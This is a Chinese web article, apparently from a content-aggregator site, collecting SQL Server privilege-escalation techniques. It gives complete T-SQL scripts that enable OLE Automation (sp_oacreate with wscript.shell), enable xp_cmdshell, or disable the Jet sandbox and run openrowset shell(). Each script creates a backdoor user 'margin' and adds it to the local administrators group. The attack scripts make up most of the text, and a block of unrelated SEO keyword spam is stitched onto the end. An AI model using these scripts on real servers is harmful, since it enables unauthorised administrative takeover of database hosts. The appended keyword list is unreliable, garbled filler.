千家信息网

SQL Server提权方法汇总(MSSQL)

发表于:2025-12-03 作者:千家信息网编辑
千家信息网最后更新 2025年12月03日,使用sp_oacreate进行提权--提权语句--sp_configure的作用是显示或更改当前服务器的全局配置设置,执行成功返回0,失败返回1EXEC sp_configure 'show adva
千家信息网最后更新 2025年12月03日SQL Server提权方法汇总(MSSQL)

使用sp_oacreate进行提权

--提权语句--sp_configure的作用是显示或更改当前服务器的全局配置设置,执行成功返回0,失败返回1

EXEC sp_configure 'show advanced options', 1;

--使前面的配置生效RECONFIGURE;

EXEC sp_configure 'Ole Automation Procedures', 1;

RECONFIGURE;

declare @shell int

--使用sp_oacreate调用wscript.shell组件,将返回的对象存储到@shell变量中。

exec sp_oacreate 'wscript.shell',@shell output

--使用sp_oamethod 调用@shell对象中的Run方法,执行添加用户的命令,null是run方法的返回值,我们不需要用返回值,所以写null.

exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user margin margin /add'

exec sp_oacreate 'wscript.shell',@shell output

--使用sp_oamethod 调用@shell对象中的Run方法,执行添加用户的命令

exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators margin /add'

--恢复语句EXEC

sp_configure 'Ole Automation Procedures', 0;

RECONFIGURE;

EXEC sp_configure 'show advanced options', 0;

RECONFIGURE;

以上是使用sp_oacreate的提权语句,主要是用来调用OLE对象(Object Linking and Embedding的缩写,VB中的OLE对象),利用OLE对象的run方法执行系统命令。在oacreate的官方文档里明确指出了,如果要使用OLE对象,必须要开启 'Ole Automation Procedures',也就是EXEC sp_configure 'Ole Automation Procedures', 1;执行这条语句前要执行EXEC sp_configure 'show advanced options', 1; 官方对这句话的解释是:show advanced options,"显示高级选项"选项用来显示 sp_configure 系统存储过程高级选项。 当"显示高级选项" 设置为 1 时,可以使用 sp_configure 列出高级选项。 默认值为 0。

使用xp_cmdshell进行提权

--提权语句

exec sp_configure 'show advanced options', 1;reconfigure;

exec sp_configure 'xp_cmdshell',1;reconfigure; --开启CMDshell

-- master..xp_cmdshell的全写是master.dbo.xp_cmdshell

exec master..xp_cmdshell 'net user margin margin /add';

exec master..xp_cmdshell 'net localgroup administrators margin /add';

--恢复语句EXEC

sp_configure 'show advanced options', 0;

RECONFIGURE;

使用沙盒进行提权

--提权语句

exec sp_configure 'show advanced options',1;reconfigure;

-- 不开启的话在执行xp_regwrite会提示让我们开启,

exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure;

--关闭沙盒模式,如果一次执行全部代码有问题,先执行上面两句代码。

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;

--查询是否正常关闭,经过测试发现沙盒模式无论是开,还是关,都不会影响我们执行下面的语句。

exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode'

--执行系统命令select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user margin margin /add")')

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net localgroup administrators margin /add")')

沙盒模式SandBoxMode参数含义(默认是2)

`0`:在任何所有者中禁止启用安全模式

`1` :为仅在允许范围内

`2` :必须在access模式下

`3`:完全开启

openrowset是可以通过OLE DB访问SQL Server数据库,OLE DB是应用程序链接到SQL Server的的驱动程序。

--恢复配置

--exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1;

--exec sp_configure 'Ad Hoc Distributed Queries',0;reconfigure;

--exec sp_configure 'show advanced options',0;reconfigure;

SQL Server官方参考文档

sp_configure的官方文档:https://docs.microsoft.com/zh-cn/sql/relational-databases/system-stored-procedures/sp-configure-transact-sql?view=sql-server-2017

sp_oacreate的官方文档:https://docs.microsoft.com/zh-cn/sql/relational-databases/system-stored-procedures/sp-oacreate-transact-sql?view=sql-server-2017

sp_oamethod的官方文档:https://docs.microsoft.com/zh-cn/sql/relational-databases/system-stored-procedures/sp-oamethod-transact-sql?view=sql-server-2017

openrowset的官方文档:https://docs.microsoft.com/zh-cn/sql/t-sql/functions/openrowset-transact-sql?view=sql-server-2017

ole db的官方文档:https://docs.microsoft.com/zh-cn/sql/connect/oledb/ole-db/oledb-driver-for-sql-server-programming?view=sql-server-2017


官方 语句 对象 文档 模式 方法 高级 命令 系统 配置 代码 用户 程序 存储 安全 成功 也就是 作用 全局 参数 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 组织表达谱怎么分析数据库 小型服务器如何搭建 程序里面没有数据库管理器 apec交流与数据库系统网址 网络安全相关问题 传统数仓有哪些数据库 网络安全技术股票 电子合同软件开发 云南化验机构进法院数据库有那些 关系数据库语言的特点及分类 数据库创建表空间的参数 贵州北斗校时服务器云空间 个人怎么建立计算机服务器 数据库的组成核心是 公安局 数据库 人大金仓数据库实例存储路径 为什么要使用数据库 网络安全演练开展不足 大数据时代网络安全毕业论文 网络安全法 用户必须 小度属于哪家互联网科技公司 qt连接数据库oracle 211考研网络安全 长沙智远软件开发有限公司 网络安全手抄报内容简单清楚 cs总是连接任意服务器失败 高中网络技术应用综合题答案 汉中软件开发大概费用 西城区信息化软件开发客户至上 在万户网络技术有限公司工作
0